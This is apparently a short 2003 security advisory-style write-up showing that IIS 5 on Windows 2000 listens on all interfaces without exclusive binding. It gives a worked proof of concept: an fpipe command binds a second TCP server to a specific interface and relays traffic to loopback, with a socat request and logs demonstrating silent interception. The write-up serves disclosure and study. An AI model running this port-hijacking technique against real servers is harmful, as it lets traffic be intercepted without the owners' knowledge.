Even if Microsoft introduced the SO_EXCLUSIVEADDRUSE socket option in Windows NT 4.0 Service Pack 4, it seems that it was not used in some Microsoft application servers.
For instance, the HTTP server part of Internet Information Services (IIS) 5, shipped with Windows 2000, listens by default on all network interfaces on ports 80 and 443. It is possible to hijack the HTTP server of IIS 5 with a TCP server bound to the IP address of a specific interface.
Even more interesting, when a TCP server listens on all interfaces, it is possible to silently intercept TCP traffic, binding a second TCP server to intercept trafic and redirecting to the loopback address, to finally deliver date to the hijacked server (thanks to Franck Davy for suggesting this).
On a Windows 2000 server with IIS 5, the HTTP service listens on all interfaces:
C:\WINNT\>netstat -an | find "80" TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
Using fpipe, a second TCP server is bound to IPv4 address 192.70.106.142 and configured to redirect traffic to the loopback address (127.0.0.1), with TCP port 80 as destination:
C:\WINNT\>fpipe -l 80 -r 80 -i 192.70.106.142 127.0.0.1 -v FPipe v2.1 - TCP/UDP port redirector. Copyright 2000 (c) by Foundstone, Inc. http://www.foundstone.com Listening for TCP connections on 192.70.106.142 port 80
Using socat to send an HTTP query:
jbm@garbarek ~> socat - tcp4:192.70.106.142:80 GET / HTTP/1.1 Host: localhost
The second server receives the connection on port 80 and redirect data to the IIS 5 server, using 127.0.0.1 as destination address:
Connection accepted from 192.70.106.76 port 1077 Attempting to connect to 192.70.106.76 port 1077 Pipe connected: In: 192.70.106.76:1077 --> 192.70.106.142:80 Out: 192.70.106.142:33014 --> 127.0.0.1:80 15 bytes received from inbound connection 16 bytes received from inbound connection 1 bytes received from inbound connection 273 bytes received from outbound connection Outbound connection lost Closing outbound connection Closing inbound connection Quit signal detected. Shutting down...
The TCP client finally receives data sent by the IIS5 server:
HTTP/1.1 404 Object Not Found Server: Microsoft-IIS/5.0 Date: Thu, 22 May 2003 16:25:32 GMT Connection: close Content-Type: text/html Content-Length: 111 [...]